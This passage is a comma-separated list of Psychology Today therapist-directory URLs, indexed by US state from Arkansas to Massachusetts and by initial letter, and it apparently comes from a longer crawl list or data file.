"https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/c", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/d", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/e", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/f", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/g", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/h", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/i", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/j", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/k", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/l", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/m", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/n", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/o", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/p", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/q", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/r", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/s", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/t", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/u", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/v", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/w", "https://www.psychologytoday.com/us/therapists/profile-listings/arkansas/y", "https://www.psychologytoday.com/us/therapists/profile-listings/california/a", "https://www.psychologytoday.com/us/therapists/profile-listings/california/b", "https://www.psychologytoday.com/us/therapists/profile-listings/california/c", "https://www.psychologytoday.com/us/therapists/profile-listings/california/d", "https://www.psychologytoday.com/us/therapists/profile-listings/california/e", "https://www.psychologytoday.com/us/therapists/profile-listings/california/f", "https://www.psychologytoday.com/us/therapists/profile-listings/california/g", "https://www.psychologytoday.com/us/therapists/profile-listings/california/h", "https://www.psychologytoday.com/us/therapists/profile-listings/california/i", "https://www.psychologytoday.com/us/therapists/profile-listings/california/j", "https://www.psychologytoday.com/us/therapists/profile-listings/california/k", "https://www.psychologytoday.com/us/therapists/profile-listings/california/l", "https://www.psychologytoday.com/us/therapists/profile-listings/california/m", "https://www.psychologytoday.com/us/therapists/profile-listings/california/n", "https://www.psychologytoday.com/us/therapists/profile-listings/california/o", "https://www.psychologytoday.com/us/therapists/profile-listings/california/p", "https://www.psychologytoday.com/us/therapists/profile-listings/california/q", "https://www.psychologytoday.com/us/therapists/profile-listings/california/r", "https://www.psychologytoday.com/us/therapists/profile-listings/california/s", "https://www.psychologytoday.com/us/therapists/profile-listings/california/t", "https://www.psychologytoday.com/us/therapists/profile-listings/california/u", "https://www.psychologytoday.com/us/therapists/profile-listings/california/v", "https://www.psychologytoday.com/us/therapists/profile-listings/california/w", "https://www.psychologytoday.com/us/therapists/profile-listings/california/x", "https://www.psychologytoday.com/us/therapists/profile-listings/california/y", "https://www.psychologytoday.com/us/therapists/profile-listings/california/z", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/a", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/b", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/c", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/d", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/e", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/f", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/g", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/h", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/i", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/j", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/k", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/l", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/m", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/n", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/o", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/p", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/q", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/r", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/s", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/t", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/u", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/v", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/w", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/y", "https://www.psychologytoday.com/us/therapists/profile-listings/colorado/z", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/a", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/b", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/c", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/d", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/e", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/f", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/g", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/h", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/i", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/j", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/k", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/l", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/m", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/n", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/o", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/p", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/q", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/r", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/s", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/t", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/u", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/v", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/w", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/x", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/y", "https://www.psychologytoday.com/us/therapists/profile-listings/connecticut/z", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/a", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/b", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/c", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/d", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/e", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/f", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/g", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/h", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/j", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/k", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/l", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/m", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/n", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/o", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/p", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/q", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/r", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/s", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/t", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/v", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/w", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/y", "https://www.psychologytoday.com/us/therapists/profile-listings/delaware/z", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/a", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/b", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/c", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/d", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/e", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/f", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/g", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/h", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/i", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/j", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/k", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/l", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/m", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/n", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/o", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/p", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/q", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/r", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/s", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/t", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/u", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/v", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/w", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/y", "https://www.psychologytoday.com/us/therapists/profile-listings/district-of-columbia/z", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/a", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/b", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/c", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/d", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/e", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/f", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/g", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/h", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/i", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/j", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/k", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/l", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/m", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/n", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/o", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/p", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/q", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/r", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/s", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/t", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/u", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/v", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/w", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/y", "https://www.psychologytoday.com/us/therapists/profile-listings/florida/z", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/a", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/b", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/c", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/d", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/e", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/f", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/g", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/h", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/i", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/j", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/k", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/l", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/m", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/n", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/o", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/p", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/q", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/r", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/s", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/t", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/u", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/v", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/w", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/y", "https://www.psychologytoday.com/us/therapists/profile-listings/georgia/z", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/a", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/b", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/c", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/d", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/e", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/f", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/g", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/h", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/i", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/j", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/k", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/l", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/m", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/n", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/o", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/p", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/r", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/s", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/t", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/u", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/v", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/w", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/y", "https://www.psychologytoday.com/us/therapists/profile-listings/hawaii/z", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/a", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/b", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/c", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/d", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/e", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/f", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/g", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/h", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/i", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/j", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/k", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/l", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/m", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/n", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/o", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/p", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/r", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/s", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/t", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/u", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/v", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/w", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/y", "https://www.psychologytoday.com/us/therapists/profile-listings/idaho/z", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/a", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/b", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/c", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/d", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/e", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/f", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/g", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/h", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/i", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/j", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/k", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/l", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/m", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/n", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/o", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/p", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/q", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/r", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/s", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/t", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/u", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/v", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/w", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/x", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/y", "https://www.psychologytoday.com/us/therapists/profile-listings/illinois/z", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/a", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/b", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/c", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/d", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/e", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/f", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/g", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/h", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/i", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/j", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/k", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/l", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/m", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/n", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/o", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/p", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/q", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/r", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/s", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/t", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/u", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/v", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/w", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/y", "https://www.psychologytoday.com/us/therapists/profile-listings/indiana/z", "www.psychologytoday.com/us/therapists/profile-listings/iowa/a", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/b", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/c", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/d", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/e", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/f", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/g", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/h", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/i", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/j", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/k", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/l", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/m", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/n", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/o", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/p", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/r", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/s", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/t", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/u", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/v", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/w", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/y", "https://www.psychologytoday.com/us/therapists/profile-listings/iowa/z", "www.psychologytoday.com/us/therapists/profile-listings/kansas/a", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/b", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/c", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/d", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/e", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/f", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/g", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/h", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/j", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/k", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/l", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/m", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/n", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/o", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/p", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/r", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/s", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/t", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/v", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/w", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/y", "https://www.psychologytoday.com/us/therapists/profile-listings/kansas/z", "www.psychologytoday.com/us/therapists/profile-listings/kentucky/a", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/b", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/c", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/d", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/e", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/f", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/g", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/h", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/i", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/j", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/k", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/l", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/m", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/n", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/o", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/p", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/q", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/r", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/s", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/t", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/u", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/v", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/w", "https://www.psychologytoday.com/us/therapists/profile-listings/kentucky/y", "www.psychologytoday.com/us/therapists/profile-listings/louisiana/a", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/b", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/c", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/d", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/e", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/f", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/g", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/h", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/i", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/j", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/k", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/l", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/m", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/n", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/o", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/p", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/q", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/r", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/s", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/t", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/u", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/v", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/w", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/y", "https://www.psychologytoday.com/us/therapists/profile-listings/louisiana/z", "www.psychologytoday.com/us/therapists/profile-listings/maine/a", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/b", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/c", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/d", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/e", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/f", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/g", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/h", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/i", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/j", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/k", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/l", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/m", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/n", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/o", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/p", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/q", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/r", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/s", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/t", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/u", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/v", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/w", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/y", "https://www.psychologytoday.com/us/therapists/profile-listings/maine/z", "www.psychologytoday.com/us/therapists/profile-listings/maryland/a", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/b", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/c", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/d", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/e", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/f", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/g", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/h", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/i", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/j", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/k", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/l", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/m", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/n", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/o", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/p", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/q", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/r", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/s", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/t", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/u", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/v", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/w", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/y", "https://www.psychologytoday.com/us/therapists/profile-listings/maryland/z", "www.psychologytoday.com/us/therapists/profile-listings/massachusetts/a", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/b", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/c", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/d", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/e", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/f", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/g", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/h", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/i", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/j", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/k", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/l", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/m", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/n", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/o", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/p", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/q", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/r", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/s", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/t", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/u", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/v", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/w", 